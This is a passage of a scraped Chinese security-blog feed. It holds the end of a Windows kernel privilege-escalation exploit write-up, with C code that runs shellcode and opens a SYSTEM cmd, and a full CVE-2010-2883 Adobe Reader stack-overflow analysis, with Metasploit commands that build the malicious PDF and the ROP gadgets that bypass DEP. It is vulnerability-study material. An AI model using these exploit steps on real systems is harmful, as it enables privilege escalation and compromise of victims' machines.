DWORD* tem = (DWORD*)malloc(0x20);
memset(tem, 'A', 0x20);
tem[0] = (DWORD)shellcode;

NTSTATUS status = NtSetInformationWorkerFactory(hWorkerFactory, 0x8, tem, 0x4);
return 0;
}

6)用户模式触发,系统权限调用cmd

1
2
3
4
5
6
7
8
9
10
11
12
13
//Trigger from user mode
ULONG temp = 0;
status = NtQueryIntervalProfile(2, &temp);
if (!NT_SUCCESS(status))
{
printf("NtQueryIntervalProfile fail!Error:%d\n", GetLastError());
return -1;
}
printf("done!\n");
//Sleep(000);
//Create a new cmd process with current token
printf("Creating a new cmd...\n");
CreatNewCmd();

5.利用成功

漏洞利用

0x05:补丁分析

在win10下,调用IoFreeMdl函数之前会对TpInfoElementCount的值进行一系列的判断从而避免该漏洞的产生
20

0x06:总结

这个漏洞分析起来很麻烦,涉及的东西也很多,要有耐心才能分析的出来,从漏洞利用的思路,别人的exp编写来看,大牛确实厉害,自己的路还很长,希望自己有一天也能写出这样的exp来 。
参考资料:
[+] https://www.jianshu.com/p/6b01cfa41f0c
[+] https://www.cnblogs.com/flycat-2016/p/5450275.html
[+] https://bbs.pediy.com/thread-194457.htm

]]>
<h1 id="0x00:前言"><a href="#0x00:前言" class="headerlink" title="0x00:前言"></a>0x00:前言</h1><p>这次分析一个内核漏洞,信息量有点大,有不对的地方欢迎指正,介绍一下这个漏洞吧,2014年“最佳提权漏
CVE-2010-2883 Adobe栈溢出漏洞分析 https://thunderjie.github.io/2019/02/21/CVE-2010-2883 Adobe栈溢出漏洞分析/ 2019-02-21T02:55:38.000Z 2020-05-07T03:25:15.664Z 0x00:前言

记录一次漏洞调试的学习过程,实验环境的一些文件我已上传到GitHub上,欢迎下载

0x01:实验环境

  • Windows XP SP3(虚拟机)
  • Adobe Reader 9.3.4(版本不能高于9.3.4)
  • IDA_Pro_v6.8_and_Hex-Rays_Decompiler_(ARM,x64,x86)_Green(静态分析)
  • PdfStreamDumper.exe(PDF二进制分析工具)
  • Ollydbg(动态调试)
  • msf.pdf(漏洞文件)

漏洞文件的生成:

1
2
3
4
5
6
msfconsole
search cve-2010-2883
use exploit/windows/fileformat/adobe_cooltype_sing
set payload windows/exec
set cmd calc.exe
exploit

Adobe Reader 9.3.4+PdfStreamDumper.exe+msf.pdf下载地址:
https://github.com/ThunderJie/CVE/tree/master/CVE-2010-2883

0x02:涉及知识点

  • Stack Overflow(栈溢出)
  • Heap Spray(堆喷射)
  • 文件偏移计算
  • OD动态调试
  • IDA静态分析等

0x03:漏洞分析

1.IDA静态分析CoolType.dll找到漏洞点
1

搜索字符串“SING”找到溢出点,可以看到这里strcat()函数之前未对uniqueName长度进行检测就复制,造成溢出搜索字符串“SING”找到溢出点,可以看到这里strcat()函数之前未对uniqueName长度进行检测就复制,造成溢出
2

2.PDFStreamDumper分析文件偏移
TTF(TrueTypeFont)是Apple公司和Microsoft公司共同推出的字体文件格式,随着windows的流行,已经变成最常用的一种字体文件表示方式,官方文档对TTF中SING表的TableEntry定义如下:

1
2
3
4
5
6
7
typedef sturct_SING
{
char tag[4]; //"SING"
ULONG checkSum;//校验和
ULONG offset; //相对文件偏移
ULONG length; //数据长度
} TableEntry;

我们通过PDFStreamDumper导入漏洞文件,找到TableEntry
3

从TableEntry结构入口偏移0x11c即为SING表真实数据,也就是从00 00 01 00开始的部分
4

又根据SING表的数据结构,再偏移0x10即为uniqueName域,如下图:
5

strcat函数执行后,将00 00 00 3A之后的数据复制到ebp指定地址直到下图的NULL为止
6

3.OD进行动态调试
打开Adobe Reader 用OD附加此程序,F9运行,crtl+g设置断点在0x803DD9F处,Adobe Reader中打开msf.pdf自动中断在0x803DD89F处
7

运行一步将数据窗口的值跟随EAX的值,对比PDFStreamDumper的值,这段汇编将已经在内存里的uniqueName域copy至程序所运行的栈中
8

选中所有的shelloce,在上面下内存访问断点,F9运行,开始寻找执行shellcode的代码。
9

F9运行第一次断在这里,取出了一个byte比较,没有到关键点,继续运行
10

继续运行有很多比较的地方,运行到这里是循环取出4byte的数据,但是还没有到关键点,继续运行
11

一直运行到这里,终于到关键点了,这里有一个调用虚表的指令,一开始虚表是存在栈上的,但是被我们溢出覆盖成了恶意地址
12

软件因为自带DEP保护,需要用到Heap Spray技术和构造ROP链来绕过,ROP的地址选取的是0x4a82a714和0x4a80cb38两处地址,因为在Adobe Reader各个版本中这个dll上的这两个地址不会改变,如下图
13

14

继续运行可以看到调用在icucnv36.dll中的内容
15

运行分析第一处ROP

1
2
pop esp
retn

16

查看堆栈情况变化
17

继续运行来到第二处ROP

1
2
pop ecx
retn

18

时刻关注堆栈情况
19

继续运行来到第三处ROP

1
2
mov dword ptr ds:[ecx],eax
retn

20

时刻关注堆栈情况
21

运行来到第四次ROP,这里保存了CreateFileA函数地址

1
2
pop eax
retn

22

时刻关注堆栈情况
23

继续运行,这里跳转到函数地址准备调用函数
24

这里打开或创建了iso88591文件
25

继续运行了几次之后发现后面的rop链是为了调用这三个函数,CreateFileMappingA()函数实现创建文件内存映射,后面两个函数作用是将shellcode拷贝到内存可执行段,实现方法和前面很相似,就不放那么多照片了。
26

27

继续运行到这里可以看到正在执行shellcode部分
28

运行到了这里终于要到了调用计算器的地方
29

最终调用到计算器,完成测试
30

0x04:总结

第一次记录关于调试CVE漏洞的文章,实践起来确实加深了对漏洞的理解,虽然原理只是运用了一个栈溢出,可是实践起来却涉及了许许多多的技术,以前做过一些ctf中pwn的题目对栈溢出漏洞原理比较熟悉,可能有些地方没有说清楚,如果有不懂的地方欢迎交流。

参考资料:
《漏洞战争 软件漏洞分析精要》
https://blog.csdn.net/qq_31481187/article/details/74093072
https://blog.csdn.net/andy7002/article/details/74276469?utm_source=blogxgwz9

]]>
<h1 id="0x00:前言"><a href="#0x00:前言" class="headerlink" title="0x00:前言"></a>0x00:前言</h1><p>记录一次漏洞调试的学习过程,实验环境的一些文件我已上传到GitHub上,欢迎下载</p> <h1 i